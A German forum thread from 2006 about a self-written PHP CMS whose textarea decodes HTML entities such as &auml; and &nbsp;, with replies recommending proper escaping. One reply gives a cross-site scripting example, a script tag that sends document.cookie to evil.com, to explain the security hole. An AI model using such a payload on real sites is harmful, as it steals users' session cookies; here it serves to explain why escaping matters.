[toxic.at]

Hallo,
bei einer Textbox in einem Formular, das ich für ein cms verwende, wird automatisch aus &auml: zb. ein "ä".
Gibts eine Möglichkeit das zu verhindern, da der HTML-Code später falsch angezeigt wird?
Danke

Dieser Beitrag wurde von toxic.at bearbeitet: 08. Juni 2006 - 14:18

[Graumagier]

Du kannst die Eingaben mit PHP parsen.

[axx]

Zitat (toxic.at: 08.06.2006, 15:16)

Hallo,
bei einer Textbox in einem Formular, das ich für ein cms verwende, wird automatisch aus &auml: zb. ein "ä".
Gibts eine Möglichkeit das zu verhindern, da der HTML-Code später falsch angezeigt wird?
Danke

Wo ist das Problem? Was wird denn später unter welchen Umständen von welchem Client falsch angezeigt?

[toxic.at]

Der Quellcode der zu bearbeitenden Datei automatisch in das Textfeld geladen.
Es hängt sicher mit der Textbox zusammen, denn auch bei meinem obigen Post habe ich "&auml:" mit einem Doppelpunkt, statt einem Semilikon verwenden müssen (sont wäre logischerweise autom. ein ä draus geworden).
Natrürich könnte ich mit PHP die Umlaute austauschen, aber wie mach das dann mit den Leerzeilen?

Zitat

Wo ist das Problem? Was wird denn später unter welchen Umständen von welchem Client falsch angezeigt?

Wenn ich einen Absatz einfüge "<p>&nbsp:</p>" wird dann das draus: "<p> </p>".
Dann zeigt der Browser den Absatz nicht an

[axx]

Zitat (toxic.at: 08.06.2006, 15:27)

Wenn ich einen Absatz einfüge "<p>&nbsp:</p>" wird dann das draus: "<p> </p>".
Dann zeigt der Browser den Absatz nicht an

Ich hab's immer noch nicht. Wozu einen leeren Absatz anzeigen?
Und wozu HTML entities verwenden, wenn der verwendete Zeichensatz mit großer Wahrscheinlichkeit deutsche Umlaute enthält?

Über welches CMS sprechen wir hier eigentlich? Oder ist es dein eigenes oder ein bekanntes?

[Rika]

Du solltest alles escapen.
Ansonsten hast du gar eine Sicherheitslücke, denn ein böswilliger Mensch könnte ja <script type="text/javascript">(new Image()).src="http://evil.com/log.pl?"+document.cookie;</script> oder dergleichen reinschreiben.

[toxic.at]

Nein, ist ein .htaccess geschütztes selbstprogrammiertes php-Script

Wenns nicht anderes geht, mach ichs halt auf die nicht ganz korrekte Methode:

Vorm anzeigen der Source in der Textarea jedes "&" durch zb. "&!" ersetzten.
Dann interpretiert es die Textarea als normalen Text.

Beim Speichern das "&!" wieder in ein "&" ersetzten.

[Rika]

Nein, einfach escapen! & als & lesen und speichern, aber als & -> &amp; ausgeben.